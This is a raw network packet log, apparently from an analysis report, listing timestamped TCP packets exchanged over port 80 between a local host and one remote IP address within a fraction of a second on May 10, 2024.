May 10, 2024 09:20:58.263340950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263348103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263356924 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263364077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263375044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263377905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263387918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263401985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263406038 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263413906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263422012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263427019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263438940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263443947 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263451099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263464928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263469934 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263477087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263484955 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263490915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263501883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263510942 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263515949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263531923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263534069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263545036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263550043 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263559103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263571024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263571978 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263582945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263588905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263596058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263607025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263609886 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263618946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263628960 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263631105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263643026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263652086 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263654947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263665915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263675928 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263678074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263691902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263693094 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263704062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263708115 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263716936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263729095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263734102 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263741016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263744116 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263753891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263765097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263767958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263780117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263792038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263793945 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263806105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263813972 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263818026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263827085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263830900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263843060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263849974 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263854980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263866901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263876915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263887882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263890982 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263900042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263910055 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263912916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263925076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263926029 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263937950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263941050 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263951063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263962984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263972998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263976097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263976097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263984919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263998032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263998985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264009953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264022112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264033079 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264034033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264045954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264056921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264065981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264071941 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264080048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264092922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264096022 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264111042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264117956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264125109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264137030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264143944 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264148951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264163017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264168024 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264175892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264188051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264189959 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264200926 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264208078 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264211893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264224052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264230967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264235973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264249086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264260054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264261961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264270067 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264275074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264286041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264293909 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264297962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264309883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264319897 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264321089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264333010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264333963 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264345884 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264358044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264358044 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264369965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264379978 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264383078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264395952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264396906 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264410019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264415026 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264424086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264434099 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264436960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264448881 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264448881 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264462948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264466047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264475107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264486074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264497995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264507055 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264509916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264519930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264522076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264534950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264534950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264548063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264558077 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264559984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264573097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264580965 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264584064 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264596939 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264596939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264611006 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264611959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264625072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264633894 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264636993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264650106 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264650106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264663935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264664888 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264677048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264686108 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264689922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264702082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264710903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264714003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264727116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264734983 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264738083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264749050 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264750004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264761925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264771938 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264775991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264787912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264796019 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264800072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264810085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264811993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264825106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264832973 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264837980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264849901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264857054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264861107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264873981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264875889 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264888048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264892101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264900923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264911890 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264913082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264925003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264928102 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264936924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264947891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264950037 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264961958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264971972 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.264975071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264987946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.264996052 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265000105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265012026 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265012026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265027046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265038967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265048981 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265052080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265064955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265075922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265088081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265091896 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265100002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265110970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265111923 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265124083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265125036 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265136957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265146971 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265149117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265162945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265170097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265175104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265183926 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265187979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265199900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265208960 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265212059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265224934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265233994 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265234947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265248060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265250921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265260935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265271902 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265271902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265285015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265295029 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265297890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265311003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265311956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265325069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265326023 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265336990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265347958 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265350103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265362024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265362978 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265374899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265387058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265391111 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265398979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265405893 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265413046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265424967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265431881 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265439034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265450001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265455961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265460968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265469074 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265472889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265486002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265492916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265496969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265510082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265516996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265521049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265532970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265532970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265546083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265554905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265558004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265571117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265578985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265583038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265593052 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265595913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265608072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265619993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265629053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265631914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265645027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265655041 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265657902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265669107 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265671968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265685081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265692949 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265697002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265708923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265716076 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265721083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265727997 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265733957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265747070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265753984 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265758038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265769958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265779972 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265780926 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265793085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265793085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265805960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265815973 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265818119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265831947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265841007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265846014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265856028 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265858889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265872002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265881062 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265883923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265896082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265903950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265907049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265916109 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265919924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265932083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265942097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265944004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265957117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265964031 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265969992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265980005 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.265984058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.265997887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266005039 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266011953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266022921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266036987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266042948 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266050100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266062021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266063929 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266072989 CEST	80	49754	34.68.151.162	192.168.2.4
